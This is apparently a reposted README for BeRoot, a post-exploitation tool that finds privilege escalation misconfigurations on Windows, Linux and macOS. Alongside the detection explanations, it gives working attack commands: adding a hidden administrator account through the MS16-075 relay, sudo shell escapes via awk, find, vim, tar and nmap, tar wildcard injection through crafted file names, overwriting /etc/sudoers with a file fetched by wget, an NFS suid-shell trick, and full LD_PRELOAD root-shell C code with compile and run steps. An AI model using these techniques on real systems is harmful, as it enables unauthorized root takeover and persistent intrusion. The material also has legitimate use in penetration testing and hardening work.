BeRoot- A Post Exploitation Tool To Check Common Misconfigurations For Windows Linux And Mac OS

July 23, 2018

BeRoot- A Post Exploitation Tool To Check Common Misconfigurations For Windows Linux And Mac OS

A compiled version is available here.

It will be added to the pupy project as a post exploitation module (so it will be executed in memory without touching the disk).

Except one method, this tool is only used to detect and not to exploit. If something is found, templates could be used to exploit it. To use it, just create a test.bat file located next to the service / DLL used. It should execute it once called. Depending on the Redistributable Packages installed on the target host, these binaries may not work.

Check the Following:

BeRoot For Windows
BeRoot For Linux

BeRoot For Windows To Check Common Windows Misconfigurations

Run it

|===================================================
| |
| Windows Privilege Escalation |
| |
| ! BANG BANG ! |
| |
|===================================================

usage: beRoot.exe [-h] [-l] [-w] [-c CMD]

Windows Privilege Escalation

optional arguments:
-h, --help show this help message and exit
-l, --list list all softwares installed (not run by default)
-w, --write write output
-c CMD, --cmd CMD cmd to execute for the webclient check (default: whoami)

All detection methods are described on the following document.

Path containing space without quotes

Consider the following file path:

C:\Program Files\Some Test\binary.exe

If the path contains spaces and no quotes, Windows would try to locate and execute programs in the following order:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\binary.exe

Following this example, if "C:\" folder is writable, it would be possible to create a malicious executable binary called "Program.exe". If "binary.exe" run with high privilege, it could be a good way to escalate our privilege.

Note: BeRoot realized these checks on every service path, scheduled tasks and startup keys located in HKLM.

How to exploit:

The vulnerable path runs as:

a service: create a malicious service (or compile the service template)
a classic executable: Create your own executable.

Writable directory

Consider the following file path:

C:\Program Files\Some Test\binary.exe

If the root directory of "binary.exe" is writable ("C:\Program Files\Some Test") and run with high privilege, it could be used to elevate our privileges.

Note: BeRoot realized these checks on every service path, scheduled tasks and startup keys located in HKLM.

How to exploit:

The service is not running:

Replace the legitimate service by our own, restart it or check how it's triggered (at reboot, when another process is started, etc.).

The service is running and could not be stopped:

Most exploitation will be like that, checks for dll hijacking and try to restart the service using previous technics.

Writable directory on %PATH%

This technic affects the following Windows version:

6.0 => Windows Vista / Windows Server 2008
6.1 => Windows 7 / Windows Server 2008 R2
6.2 => Windows 8 / Windows Server 2012

On a classic Windows installation, when DLLs are loaded by a binary, Windows would try to locate it using these following steps:

- Directory where the binary is located
- C:\Windows\System32
- C:\Windows\System
- C:\Windows\
- Current directory where the binary has been launched
- Directory present in %PATH% environment variable

If a directory on the %PATH% variable is writable, it would be possible to realize DLL hijacking attacks. Then, the goal would be to find a service which loads a DLL not present on each of these path. This is the case of the default "IKEEXT" service which loads the inexistant "wlbsctrl.dll".

How to exploit:

Create a malicious DLL called "wlbsctrl.dll" (use the DLL template) and add it to the writable path listed on the %PATH% variable. Start the service "IKEEXT". To start the IKEEXT service without high privilege, a technic describe on the french magazine MISC 90 explains the following method:

Create a file as following:

C:\Users\bob\Desktop>type test.txt
[IKEEXTPOC]
MEDIA=rastapi
Port=VPN2-0
Device=Wan Miniport (IKEv2)
DEVICE=vpn
PhoneNumber=127.0.0.1

Use the "rasdial" binary to start the "IKEEXT" service. Even if the connection failed, the service should have been started.

C:\Users\bob\Desktop>rasdial IKEEXTPOC test test /PHONEBOOK:test.txt

Or you can try using the Ikeext-Privesc powershell script.

MS16-075

For French user, I recommend the article written on the MISC 90 which explain in details how it works.

This vulnerability has been corrected by Microsoft with MS16-075, however many servers are still vulnerable to this kind of attack. I have been inspired from the C++ POC available here

Here are some explaination (not in details):

Start Webclient service (used to connect to some shares) using some magic tricks (using its UUID)
Start an HTTP server locally
Find a service which will be used to trigger a SYSTEM NTLM hash.
Enable file tracing on this service modifying its registry key to point to our webserver (\\127.0.0.1@port\tracing)
Start this service
Our HTTP Server start a negotiation to get the SYSTEM NTLM hash
Use of this hash with SMB to execute our custom payload (SMBrelayx has been modify to realize this action)
Clean everything (stop the service, clean the regritry, etc.).

How to exploit:

BeRoot realize this exploitation, change the "-c" option to execute custom command on the vulnerable host.

beRoot.exe -c "net user Zapata LaLuchaSigue /add"
beRoot.exe -c "net localgroup Administrators Zapata /add"

AlwaysInstallElevated registry key

AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions. To allow it, two registry entries have to be set to 1:

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

How to exploit:

create a malicious msi binary and execute it.

Unattended Install files

This file contains all the configuration settings that were set during the installation process, some of which can include the configuration of local accounts including Administrator accounts. These files are available on these following path:

C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\Panther\unattend.xml

How to exploit:

Open the unattend.xml file to check if passwords are present on it. Should looks like:

<UserAccounts>
<LocalAccounts>
<LocalAccount>
<Password>
<Value>RmFrZVBhc3N3MHJk</Value>
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Other possible misconfigurations

Other tests are realized to check if it's possible to:

Modify an existing service
Create a new service
Modify a startup key (on HKLM)
Modify directory where all scheduled tasks are stored: "C:\Windows\system32\Tasks"

BeRoot For Linux

BeRoot is a post exploitation tool to check common misconfigurations on Linux and Mac OS to find a way to escalate our privilege.

To understand privilege escalation on these systems, you should understand at least two main notions: LOLBins (this name has been given for Windows binaries but it should be correct to use it for Linux as well) and Wildcards.

This Readme explains all technics implemented by BeRoot to better understand how to exploit it.

LOLBins

LOLBins could be used to gain root privilege on a system. These binaries allow a user to execute arbitrary code on the host, so imagine you could have access to one of them with sudo privilege (suid binary or if it's allowed on the sudoers file), you should be able to execute system command as root.

Here is a list of well-known binaries:

awk

sudo awk 'BEGIN {system("/bin/sh")}'

docker (if you can call docker, no need to run it with sudo)

docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p

find

sudo find . -type d -exec sh -c id {} \;

file viewer

less: !bash

man: !bash or $ sudo man -P whoami man

more: !bash

file modifications (cannot be consider as LOLbins but useful for privilege escalation)

cp: sudo cp -f your_file /etc/sudoers

mv: sudo mv -f your_file /etc/sudoers

ftp / sftp

ftp> ! ls

git

export PAGER=./runme.sh

sudo git -p help

mount

sudo mount -o bind /bin/bash /bin/mount

sudo mount

nmap

echo "os.execute('/bin/sh')" > /tmp/script.nse

sudo nmap --script=/tmp/script.nse

rsync

echo "whoami > /tmp/whoami" > /tmp/tmpfile

sudo rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null

cat whoami

root

scripting languages

lua: os.execute('/bin/sh')

perl: sudo perl -e 'exec "/bin/sh";'

python: sudo python -c 'import os;os.system("/bin/sh")'

ruby: sudo ruby -e 'exec "/bin/sh"'

tar

sudo tar cf archive.tar * --checkpoint=1 --checkpoint-action=exec=sh

text editor

vi: sudo vi -c '!sh' or :!bash or :set shell=/bin/bash:shell or :shell

vim : sudo vim -c '!sh' or :!bash or :set shell=/bin/bash:shell or :shell

tcpdump

echo "whoami > /tmp/whoami" > /tmp/tmpfile

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root

cat whoami

root

wget (overwrite system file - need a web server)

sudo wget https://ift.tt/2LFRNxz -O /etc/sudoers

zip

echo "/bin/sh" > /tmp/run.sh

sudo zip z.zip * -T -TT /tmp/run.sh

Note: If you have more binary example, do not hesitate to open an issue explaining the technic and I will add it on the list.

Having sudo access on these binaries do not mean you could always manage to execute commands on the system. For example, using the mount binary with a limited user could give you the following well known error, if it's well configured:

mount: only root can use "--options" option

Wildcards

If you have never heard about Unix wildcards, I suggest you read this very well explained article. Using wildcards could lead into code execution if this one is not well called.

For our example, we want to get a shell ("sh") using the tar command to execute code on the server. As explained on the LOLBin section, we could get it doing:

tar cf archive.tar * --checkpoint=1 --checkpoint-action=exec=sh

We consider a test file which is used to realize an archive of all files present on the directory.

user@host:~$ cat test.sh

tar cf archive.tar *

Here are the steps to exploit this bad configuration:

open nano (with no arguments)
write something in it

save file using tar arguments as file names:

--checkpoint-action=exec=sh
--checkpoint=1

Once created, this is what you will find:

user@host:~$ ls -la

total 32

-rw-r--r-- 1 user user 5 Jan 12 10:34 --checkpoint-action=exec=sh

-rw-r--r-- 1 user user 3 Jan 12 10:33 --checkpoint=1

drwxr-xr-x 2 user user 4096 Jan 12 10:34 .

drwxr-xr-x 7 user user 4096 Jan 12 10:29 ..

-rwxr-xr-x 1 user user 22 Jan 12 10:32 test.sh

If this file is executed as root (from cron table, from sudoers, etc.), you should gain root access on the system.

user@host:~$ sudo ./test.sh

sh-4.3# id

uid=0(root) gid=0(root) groups=0(root)

So depending on which binary and how the wildcard are used, the exploitation can be done or not. So on our example, the exploitation would not work anymore if the file would be like this:

user@host:~$ cat test.sh

tar cf archive.tar *.txt

Thus, using a tool to detect these misconfigurations is very difficult. A manually analyse should be done to check if it's a false positive or not.

Sensitive files

Lots of file are run with high permissions on the system (e.g cron files, services, etc.). Here is an example of intersting directories and files:

/etc/init.d
/etc/cron.d
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/at.allow
/etc/at.deny
/etc/crontab
/etc/cron.allow
/etc/cron.deny
/etc/anacrontab
/var/spool/cron/crontabs/root

Here are the tests done by BeRoot:

checks if you have access with write permission on these files.
checks inside the file, to find other paths with write permissions.
checks for wildcards (this check could raise false positives, but could also get you useful information). Sometimes, you may need write permissions on a specific folder to create your malicious file (as explained on the wildcard section), this check is not done because it could be done by two many ways on the script and it's difficult to automate.

Suid binaries

SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. SUID is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it. So if suid file is owned by root, you should execute it using root privilege.

BeRoot prints all suid files because a manually analyse should be done on each binary. However, it realizes some actions:

checks if we have write permissions on these binary (why not ? :))
checks if a LOLBin is used as suid to be able to execute system commands using it (remember you could have suid LOLBin without beeing able to exectute commands - checks LOLBin section with the false positive example using mount).

To analyse manually, checking for .so files loaded from a writable path should be a great idea (this check has not been implemented on BeRoot):

strace [SUID_PATH] 2>&1 | grep -i -E "open|access|no such file"

NFS Root Squashing

If no_root_squash appears in /etc/exports, privilege escalation may be done. More information can be found here.

Exploitation:

mkdir /tmp/nfsdir # create dir
mount -t nfs 192.168.1.10:/shared /tmp/nfsdir # mount directory
cd /tmp/nfsdir
cp /bin/bash . # copy wanted shell
chmod +s bash # set suid permission

LD_PRELOAD

If LD_PRELOAD is explicitly defined on sudoers file, it could be used to elevate our privilege. \

For example:

Defaults env_keep += LD_PRELOAD

Create a share object:

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setgid(0);

setuid(0);

system("/bin/sh");

}

Compile it:

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

If you have a binary that you could launch with sudo and NOPASSWD, launch it with LD_PRELOAD pointing to your shared object:

sudo LD_PRELOAD=/tmp/shell.so find

Sudoers file

Most of privilege escalations on Linux servers are done using bad sudo configurations. This configuration can be seen in /etc/sudoers file.

To better understand the BeRoot workflow, you should have an idea on how a sudoers line is composed.

Basic line pattern:

users hosts = (run-as) tags: commands

Here is an example using aliases.

User_Alias ADMINS = admin, user, root

Cmnd_Alias ADMIN_CMDS = /sbin/service, /usr/sbin/iptables, python /tmp/file.py

ADMINS ALL = (ALL) NOPASSWD: ADMIN_CMDS

So users "admin", "user" and "root" could execute "service", "iptables" and "file.py" without password needed (thanks to NOPASSWD):

admin,user,root ALL = (ALL) NOPASSWD: /sbin/service, /usr/sbin/iptables, python /tmp/file.py

So BeRoot will analyse all rules:

if it affects our user or our user's group:

check if we have write permissions on all possible commands (in our example, it will test "service", "iptables", "python" and "/tmp/files.py")
check for LOLBins
check for LOLBins + wildcards
check if we can impersonate another user ("su" command)
check write permissions on sensitive files and suid bin for this user
realize again all these checks on the sudoers file using this new user

Download BeRoot

from Hackers Online Club (HOC) https://ift.tt/2Lhr924